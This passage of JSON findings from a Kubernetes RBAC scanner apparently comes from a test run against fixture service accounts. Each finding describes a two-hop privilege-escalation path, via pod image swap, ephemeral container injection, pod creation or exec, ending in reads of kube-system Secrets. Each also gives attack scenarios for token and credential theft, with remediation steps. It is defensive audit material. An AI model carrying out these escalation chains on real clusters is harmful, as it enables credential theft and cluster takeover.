        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-reader-secrets",
        "source_role": "foothold-reader-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/imgswap-fixtures/imgswap-patcher:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.049999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/imgswap-fixtures/imgswap-patcher` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/imgswap-fixtures/imgswap-patcher` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader` via `pod_image_hijack` (get,list,patch pods): can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them\n  2. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-patcher",
      "namespace": "imgswap-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/imgswap-fixtures/imgswap-patcher` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/imgswap-fixtures/imgswap-patcher`.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-patcher`, the attacker uses `update`/`patch` on `pods` (`get,list,patch pods`) to change the container image of a pod running as `ServiceAccount/imgswap-fixtures/imgswap-reader`. The API server's pod update validation keeps container images mutable on a live pod, and no in-tree controller reverts the change: the kubelet restarts the container with the attacker's image inside the same pod sandbox, with the same ServiceAccount token mount, securityContext, host namespaces, and volumes. The result is a shell in that pod without any exec or ephemeral-container verb.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_image_hijack [get,list,patch pods]",
        "2. read_secrets [get,list secrets]"
      ],
      "first_action": "pod_image_hijack",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "pod_image_hijack",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `get,list,patch pods` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `get,list,patch pods` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_image_hijack",
        "technique": "KUBE-PRIVESC-034",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-patcher",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "permission": "get,list,patch pods",
        "gains": "can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them",
        "source_binding": "imgswap-pod-patcher",
        "source_role": "imgswap-pod-patcher",
        "binding_namespace": "imgswap-fixtures"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "crb-imgswap-secret-reader",
        "source_role": "cr-imgswap-secret-reader"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/privesc-fixtures/sa-ephemeral:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.049999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/privesc-fixtures/sa-ephemeral` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/foothold-exec/foothold-reader` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-reader\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-ephemeral`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/foothold-exec/foothold-reader` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-reader.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. read_secrets [get,list secrets]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "ephemeral_container_inject",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/foothold-exec/foothold-reader`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/foothold-exec/foothold-reader`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-reader",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-reader-secrets",
        "source_role": "foothold-reader-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/privesc-fixtures/sa-pod-create-escape:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.049999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-create-escape` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-secret-mint` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `read_secrets` (create,get secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-pod-create-escape`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker creates a pod that mounts the `ServiceAccount/privesc-fixtures/sa-secret-mint` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`create,get secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. read_secrets [create,get secrets]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-secret-mint`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-secret-mint`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-006",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/privesc-fixtures/sa-pod-exec:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.049999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-exec` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/foothold-exec/foothold-reader` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-reader\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-pod-exec`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/foothold-exec/foothold-reader` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. read_secrets [get,list secrets]"
      ],
      "first_action": "pod_exec",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/foothold-exec/foothold-reader`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/foothold-exec/foothold-reader`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
